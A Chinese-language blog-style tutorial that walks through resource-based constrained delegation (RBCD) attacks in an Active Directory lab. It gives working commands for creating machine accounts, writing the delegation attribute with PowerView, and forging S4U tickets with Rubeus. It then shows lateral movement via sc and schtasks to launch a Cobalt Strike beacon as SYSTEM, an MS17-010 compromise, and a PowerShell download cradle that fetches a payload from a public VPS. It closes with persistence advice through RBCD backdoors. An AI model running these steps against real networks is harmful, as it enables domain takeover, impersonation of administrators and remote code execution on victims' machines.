不同于约束和非约束委派,基于资源的约束性委派可以就难的多了!! 前方高能 ,准备上车!!
目录
1.基于资源的约束性委派(RBCD)
2.谁能设置RBCD
3.机器入域账号的普及
4.域树的搭建
5.配置RBCD
6.通过域创建机器进行RBCD攻击
7.通过使用本机机器进行RBCD攻击
8.通过横向RBCD的用户进行攻击
9.RBCD的作用
1.基于资源的约束性委派(RBCD)
对于基于资源的约束性委派,可以说和非约束性委派和约束性委派都有一定的相似之处,为什么这么说呢,看下去你就明白了!!
基于资源的约束性委派攻击:(Resources Based Constricted Delegation ,RBCD)如果我们能够在受害者B上配置允许服务A的基于资源的约束性委派,那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST,最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST,我们就可以模拟任意用户访问服务B了。
感觉没听懂? 没关系,我来用人话解释一下
不同于约束性委派,基于资源的约束性委派不算是一种被动委派,而是一种主动委派。什么意思呢? 对比起约束性委派,文件系统的cifs服务是又域控委派给web系统的,但是在RBCD中,Web系统能访问文件系统的cifs服务是由文件系统自己委派给他的!!!!
2.谁能设置RBCD
以下这么几种人能够设置RBCD
3.机器入域账号的普及
当我们将一台机器加入到域内的时候,我们肯定会弹出这么一个框架,这时候我们一般都是输入到的域馆的账号密码,但其实!!! 我们也是可以输入一个域内的普通账户的!!!!
我们来做一个实验
首先我们有一个域内的账户 liukaifeng01 并不属于管理员组。
它的sid是以1000结尾的!! 然后我们再去找一台电脑
于是,我们还知道,一个域内的普通账户,默认可以创建10台机器账户!!(这个后面大有用处)
4.域树的搭建
其实这个域树的搭建和RBCD没有什么直接的关系,但是!! RBCD的前提就是域控必须是Server2012及以上,但是我的god的域刚好的2008的,又恰好后面我们要讲跨域攻击,那么就刚好现在一同搭建了!!
我们的目的就是在原域控的情况下搭建一个hack.god.org的域树
首先去准备我们的对应的机器!!!
然后我们去给Server2012安装对应的AD
然后一直下一步,开始安装
然后就是去升级了
在入域之前,记得配好指向域控的网卡
然后就下面这一步可谓是至关重要,不能写错一点啊(不然就会失败)
然后后面就是疯狂的进行下一步了,最后他会进行重启!!
能看见这样,就能说明我们已经搭建好了子域的域控,下一步就是将Server2016加入到子域了
将dns指向子域的域控
然后将这个SEC机器加到子域内
然后我们去子域控上创建一个用户,让2016能登录进去
然后我们最后用下面这命令去查看一下
ipconfig /all
能看见这个,就说明我们的域环境已经搭建成功了!!!
5.配置RBCD
现在域内有三台电脑
- 域控Winserver2012
- 域内主机Winserver2016
- 域内主机Win10
其中Win10是以Winserver的sec用户加入到域的,那么我们就能用sec这个账号给Win10这台机器配置RBCD,我们先来验证一下
首先,我们这台SEC的用户的sid如下
然后我们再去域控查询Win10电脑的委派的sid,果然sid是一模一样的
然后我们给这台Win10机器设置RBCD
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1106)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DESKTOP-LQVIT68.rce.org | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
ok,成功设置RBCD
其实这里的命令要改的就两个点
- 一个sid指的是你创建机器的SID或者当前机器的SID(能拿到当前机器的NTLM哈希)
- 然后get-domaincompu那里是指允许配置RBCD的受害者机器
6.通过域创建机器进行RBCD攻击
然后假装我们现在拿到了一台域内机器
然后我们去查看一下域内的机器分别都是以什么用户加入的(需要当前用户的账号密码)
AdFind.exe -u sec -up admin@123 -b "DC=rce,DC=org" -f "objectClass=computer" mS-DS-CreatorSID
发现了域内有四台机器,其中SUBDC和SEC都是以管理员加入的,这种就没戏了,但是Win7和另外一台电脑却是以另外一个用户加入的,于是我们就去查查是哪一个用户
shell sid2user.exe \\192.168.111.138 5 21 3016729343 1492099483 2872154937 1106
发现是sec用户
并且正好,我们控制的这一台电脑的当前用户就是sec
所以,我们是可以拿下WIN7$和DESKTOP-LQVIT68$这两台机器的,然后我们先横向到DESKTOP-LQVIT68$这台电脑
powershell-import Powermad.ps1
powershell Set-ExecutionPolicy Bypass -Scope Process | New-MachineAccount -MachineAccount god -Password $(ConvertTo-SecureString "admin@123" -AsPlainText -Force)
通过上面这个脚本,我们可以创建一台计算机,名为GOD,密码是admin@123
然后去查看一下机器是否创建成功
shell net groups "Domain Computers" /domain
可以看见多了一个机器账号
然后,正如我们前面所说,创建机器的委派sid和创建的用户是相同的
这是我们刚创建的机器委派的sid
然后我们再去看我们创建机器的账号的sid,肯定是一样的
然后我们就要去获取这个机器的SID(不是委派sid),这里需要你传一个powerview脚本,或者你也可以再CS直接导入,达到无文件落地的效果
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Identity god -Properties objectsid}"
然后就是给这个台GOD机器设置RBCD
powershell-import PowerView.ps1 //无文件落地
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1115)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
然后我们去查
shell AdFind.exe -b "DC=rce,DC=org" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
成功配置
然后我们就是可以进行横向移动了
Rubeus.exe s4u /user:机器名 /rc4:创建机器的密码 /domain:rce.org /msdsspn:cifs/受害机器 /impersonateuser:administrator /ptt
Rubeus.exe s4u /user:god$ /rc4:579DA618CFBFA85247ACF1F800A280A4 /domain:rce.org /msdsspn:cifs/DESKTOP-LQVIT68.rce.org /impersonateuser:administrator /ptt
这个rc4密码最好找一个在线生成密码的网站
在攻击之前,我们先清一下票
shell klist purge
mimikatz kerberos::purge
然后在攻击之前,我们是肯定不能看别人的东西的
然后我们直接PTT攻击
这时候,我们再去看内存中的票据
然后我们再去访问,包能看到的
然后我们把🐎传上去
然后接下来就要问你们了,我们现在能不能运行计划任务或者服务???
包不行的啊!! RBCD其实也有点像约束性委派,也有点像白银票据!!!
我们这是什么票???? CIFS ! 怎么可能可以运行计划任务或者服务 ???
所以我们要去再申请一张host的票据
Rubeus.exe s4u /user:god$ /rc4:579DA618CFBFA85247ACF1F800A280A4 /impersonateuser:administrator /msdsspn:host/DESKTOP-LQVIT68 /ptt
这样,我们的内存就有两张票了!!!!
然后接下来就是愉快的进行横线移动了 !!
shell sc \\DESKTOP-LQVIT68 create getshell binpath= "cmd.exe /c c:\cs.exe"
shell sc \\DESKTOP-LQVIT68 start getshell
看到没,直接以system权限上线!!!
包高的,这个权限!!!
7.通过使用本机机器进行RBCD攻击
有人就会说了,我还要创建一个账号,麻烦死了,能不能直接用本机机器账号呢???
那包可以的!!
首先还是我们上面的情景,然后我们直接查询本机的sid
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Identity 机器名字 -Properties objectsid}"
然后我们抓一下本机账号的密码(这一步需要提权,这就是为什么我先讲创建机器账户,因为有的时候我们提不上来) 但是不重要,这个方法本质·上是可以的,来掩饰一下!!
假设我们提上来了,并且抓到了密码
db09d063eafb6f737ab67e1022f19662
然后配置委派
powershell-import Powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1107)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
设置成功,查看一下先
AdFind.exe -b "DC=rce,DC=org" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
okay,目前看起来一切顺利 !!!,然后就是去请求票据,在请求之前,肯定是看不了的
然后直接伪造
Rubeus.exe s4u /user:SEC$ /rc4:db09d063eafb6f737ab67e1022f19662 /impersonateuser:administrator /msdsspn:cifs/DESKTOP-LQVIT68 /ptt
然后再去看一下
包能看到的,最后再去伪造一张host的票
然后这次,我选择用计划任务横向移动 !!
copy cs.exe \\DESKTOP-LQVIT68\c$
schtasks /create /s DESKTOP-LQVIT68 /tn getshell /sc onstart /tr c:\cs.exe /ru system /f
schtasks /run /s DESKTOP-LQVIT68 /i /tn "getshell"
包上线的!!!!
8.通过横向RBCD的用户进行攻击
以上的两种情况,可以说是最理想化了,直接拿到了RBCD的账号,但是很多时候我们都是不会直接拿到这个账号的?? 那怎么办呢??
- Kerberoasting(这个我后面讲)
- asq roasting
- 密码喷洒
- 横向移动(pth,ptk,ptt,dcom,wimrm)那些
- 漏洞!!(MS17010)
那么这次我就拿MS17010来演示一下
首先拿到了一个用户,然后查询
shell AdFind.exe -b "DC=rce,DC=org" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
发现两个可操作主机,然后反查
AdFind.exe -sc adsid:S-1-5-21-3016729343-1492099483-2872154937-1106 -dn
AdFind.exe -sc adsid:S-1-5-21-3016729343-1492099483-2872154937-1108 -dn
分别查出是sec账户和win7账户
sec是我们当前的用户,可以操作,但是这标题是横向到RBCD的用户,所以我们就要想办法横向到Win7账户登录的机器上面去
怎么知道Win7在哪一台机器上登录呢??? 这就需要到内网信息收集工具netview啦!!
shell netview.exe -d
成功获得ip,然后我们扫描一下
通过fscan,我们发现对方存在永恒之蓝!!!
然后我们把他上线到CS!!
但是我咋感觉这个插件不太好用,直接把别人打关机了(无敌了),换个插件再试试
欸~~~~~ 换了个插件还是很舒服的!!! 然后就是常规步骤了,先去看看能给谁设置委派
然后你就会发现,用system用户的权限查询的到的结果和普通用户查询结果是不一样的,这个时候我们就要降权 !!!!
这时候我们就先去抓一下密码!!
然后我们用lsrunase.exe和他对应的加密工具操作
先加密,然后再去传工具
然后执行下面这个命令
shell lsrunase.exe /user:win7 /password:5VB+iOQH7araqPPoHYU= /command:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://公网vps/powershell.ps1'))" /runpath:c: /domain:rce.org
本来想无文件的,但是发现 。。。。难崩
那就只能用最简单的计划任务了!!!
schtasks /create /s 192.168.111.132 /tn shell /sc onstart /tr C:\Users\win7\Desktop\cs.exe /ru win7 /f
schtasks /run /s 192.168.111.132 /i /tn "shell"
然后就更牛魔了!! 有点恐怖的兄弟 灾难性故障
但是最后在网上又搜到了一篇文章 ,这个思路就很猎奇新奇
shell explorer.exe C:\Users\win7\Desktop\cs.exe
用explorer去启动,欸~~!! 还真的成功了!!
至此,我们就成功的拿到了权限不同的两个账户了!!!! 然后我们再去执行查询
发现我们当前机器没有对任何机器设置过委派(WIN7是被指定的委派,不要搞混了)
所以我们就可以用上面的随便一种方法都可以!!! 先去查当前Win7的SID
powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Identity win7 -Properties objectsid}"
查出来了,然后直接将hack这台机器用户指定为当前机器的RBCD
powershell-import Powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1111)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
然后发现没反应
说明可能是禁止了powershell执行脚本!! 我们需要手动开启
set-ExecutionPolicy RemoteSigned
但是还是发现无法执行,很难搞
难道是版本问题?? 我们尝试一下创建机器用户
然后查他的sid
再去设置委派!!!
powershell.exe -exec bypass -Command "Import-Module .\PowerView.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1117)\";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"
然后就难受了,配置不成功,可能是我的机器的问题,你们可以多去试试,试试server什么的!
9.RBCD的作用
- 权限维持,还记不记得我们说过SYSTEM权限可以给本机创建RBCD的权限!!那么我们当拿到一台机器之后,就可以提权到SYSTEM,然后做一个RBCD的后门(让他指向一台你创建的后门机器!!!)
- 横向移动,不过这个一般横向不到域管理员,(除非你是account operator这个账户的用户),否则是不能进行横向到域馆的!!!
- 拿下域控,这个就要研究的比较深了,网上也有很多对应的文章,可以自己去研究一下,我后续也会更(不过这就是很后面的事情了)
以上,就是RBCD的大致利用和内容了!!! 这个比较难理解,而且是只看文字的话,可以反复揣测一下!!